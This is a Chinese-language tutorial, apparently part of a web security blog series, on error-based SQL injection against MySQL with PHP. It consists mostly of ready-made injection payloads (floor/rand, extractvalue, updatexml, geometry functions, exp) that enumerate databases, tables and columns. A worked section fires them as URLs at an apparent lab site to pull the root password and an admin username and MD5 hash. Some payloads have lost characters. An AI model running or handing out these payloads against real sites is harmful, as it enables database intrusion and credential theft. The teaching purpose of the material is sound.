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WEB安全第四章SQL注入篇07 mysql+php 报错注入

mysql在执行 SQL语句的时 如果语句有错 会返回报错信息，在与php结合使用的时候默认并不会把报错的信息在页面显示出来。

如果要在php显示出来 将在执行语句的时候使用mysql_error() 才可以把错误的信息 显示到页面。

$result=mysql_query(“select * from article where id=$id”) or die(mysql_error());

1、判断注入

and 1=1

and 1=2

2、爆库

id=info()将会得到当前库的名 FUNCTION target_sys.info does not exist

target_sys 就是当前库的名。

3、一些报错语句

1、通过floor暴错

/数据库版本/

and(select 1 from(select count(),concat((select (select (select concat(0x7e,version(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)2))x from information_schema.tables group by x)a)

/简单办法暴库/

id=info()

/连接用户/

and(select 1 from(select count(),concat((select (select (select concat(0x7e,user(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)2))x from information_schema.tables group by x)a)

/连接数据库/

and(select 1 from(select count(),concat((select (select (select concat(0x7e,database(),0x7e))) from information_schema.tables limit 0,1),floor(rand(0)2))x from information_schema.tables group by x)a)

/暴库/

and(select 1 from(select count(),concat((select (select (SELECT distinct concat(0x7e,schema_name,0x7e) FROM information_schema.schemata LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)2))x from information_schema.tables group by x)a)

/暴表/

and(select 1 from(select count(),concat((select (select (SELECT distinct concat(0x7e,table_name,0x7e) FROM information_schema.tables where table_schema=database() LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)2))x from information_schema.tables group by x)a)

/暴字段/

and(select 1 from(select count(),concat((select (select (SELECT distinct concat(0x7e,column_name,0x7e) FROM information_schema.columns where table_name=0x61646D696E LIMIT 0,1)) from information_schema.tables limit 0,1),floor(rand(0)2))x from information_schema.tables group by x)a)

/暴内容/

and(select 1 from(select count(),concat((select (select (SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1)) from information_schema.tables limit 0,1),floor(rand(0)2))x from information_schema.tables group by x)a)

2、ExtractValue(有长度限制,最长32位)

and extractvalue(1, concat(0x7e, (select @@version),0x7e))

and extractvalue(1, concat(0x7e,(SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1)))

3、UpdateXml(有长度限制,最长32位)

and updatexml(1,concat(0x7e,(SELECT @@version),0x7e),1)

and updatexml(1,concat(0x7e,(SELECT distinct concat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1),0x7e),1)

4、NAME_CONST(适用于低版本)

and+1=(select++from+(select+NAME_CONST(version(),1),NAME_CONST(version(),1))+as+x)–

5、Error based Double Query Injection (http://www.vaibs.in/error-based-double-query-injection/)

/数据库版本/

or+1+group+by+concat_ws(0x7e,version(),floor(rand(0)2))+having+min(0)+or+1

还有一些报错语句

1.floor()

select * from test where id=1 and (select 1 from (select count(),concat(user(),floor(rand(0)2))x from information_schema.tables group by x)a);

2.extractvalue()

select * from test where id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)));

3.updatexml()

select * from test where id=1 and (updatexml(1,concat(0x7e,(select user()),0x7e),1));

4.geometrycollection()

select * from test where id=1 and geometrycollection((select * from(select * from(select user())a)b));

5.multipoint()

select * from test where id=1 and multipoint((select * from(select * from(select user())a)b));

6.polygon()

select * from test where id=1 and polygon((select * from(select * from(select user())a)b));

7.multipolygon()

select * from test where id=1 and multipolygon((select * from(select * from(select user())a)b));

8.linestring()

select * from test where id=1 and linestring((select * from(select * from(select user())a)b));

9.multilinestring()

select * from test where id=1 and multilinestring((select * from(select * from(select user())a)b));

10.exp()

select * from test where id=1 and exp(~(select * from(select user())a));

4、实战报错注入

当前用户名

http://target_sys.com/mysqlinj.php?id=1 and (extractvalue(1,concat(0x7e,(select user()),0x7e)))

root密码

http://target_sys.com/mysqlinj.php?id=1 and (extractvalue(1,concat(0x7e,(select password from mysql.user),0x7e)))

查询库

http://target_sys.com/mysqlinj.php?id=-1

and(select 1 from(select count(*),concat((select (select (SELECT distinct

concat(0x7e,schema_name,0x7e) FROM information_schema.schemata LIMIT 0,1)) from

information_schema.tables limit 0,1),floor(rand(0)*2))x from

information_schema.tables group by x)a)

查询第二个库

http://target_sys.com/mysqlinj.php?id=1 and(select 1 from(select count(*),concat((select (select (SELECT distinct concat(0x7e,schema_name,0x7e) FROM information_schema.schemata LIMIT 1,1)) from information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

把 ROM information_schema.schemata LIMIT 1,1)

这个部分的 1 一直往后推也可以得到所有库的名

target_sys

查询表

http://target_sys.com/mysqlinj.php?id=-1

and(select 1 from(select count(*),concat((select (select (SELECT distinct

concat(0x7e,table_name,0x7e) FROM information_schema.tables where

table_schema=database() LIMIT 0,1)) from information_schema.tables limit

0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

第二个表

http://target_sys.com/mysqlinj.php?id=-1

and(select 1 from(select count(*),concat((select (select (SELECT distinct

concat(0x7e,table_name,0x7e) FROM information_schema.tables where

table_schema=database() LIMIT 1,1)) from information_schema.tables limit

0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

查询字段

查询 admin的表 首先把admin 转换成十六进制

再放到语句去

http://target_sys.com/mysqlinj.php?id=-1

and(select 1 from(select count(*),concat((select (select (SELECT distinct

concat(0x7e,column_name,0x7e) FROM information_schema.columns where

table_name=0x61646D696E LIMIT 0,1)) from information_schema.tables limit

0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

查询第二个字段 0x61646D696E LIMIT 0,1 这个0 往后推

http://target_sys.com/mysqlinj.php?id=-1

and(select 1 from(select count(*),concat((select (select (SELECT distinct

concat(0x7e,column_name,0x7e) FROM information_schema.columns where

table_name=0x61646D696E LIMIT 1,1)) from information_schema.tables limit

0,1),floor(rand(0)*2))x from information_schema.tables group by x)a)

查询数据

http://target_sys.com/mysqlinj.php?id=-1

and(select 1 from(select count(*),concat((select (select (SELECT distinct

concat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1)) from

information_schema.tables limit 0,1),floor(rand(0)*2))x from information_schema.tables

group by x)a)

updatexml方法查询数据

http://target_sys.com/mysqlinj.php?id=-1

and updatexml(1,concat(0x7e,(SELECT distinct

concat(0x23,username,0x3a,password,0x23) FROM admin limit 0,1),0x7e),1)

上面这种查询 只能查询32位 所以有些部分查询不出来。可以先查询密文 或者先查询长度的 再进行字符长度的截取。

http://target_sys.com/mysqlinj.php?id=-1

and updatexml(1,concat(0x7e,(SELECT distinct

LENGTH(concat(0x23,username,0x3a,password,0x23)) FROM admin limit 0,1),0x7e),1)

LENGTH 函数 查询的长度为40

SUBSTRING()字符串截取函数

查询 1-32

http://target_sys.com/mysqlinj.php?id=-1

and updatexml(1,concat(0x7e,(SELECT distinct

SUBSTRING(concat(0x23,username,0x3a,password,0x23),1,32) FROM admin limit

0,1),0x7e),1)

admin:e10adc3949ba59abbe56e057

查询32-40 f20f883e

http://target_sys.com/mysqlinj.php?id=-1

and updatexml(1,concat(0x7e,(SELECT distinct

SUBSTRING(concat(0x23,username,0x3a,password,0x23),33,40) FROM admin limit

0,1),0x7e),1)

admin:e10adc3949ba59abbe56e057f20f883e

原创文章，作者：mOon，如若转载，请注明出处：https://www.moonsec.com/archives/157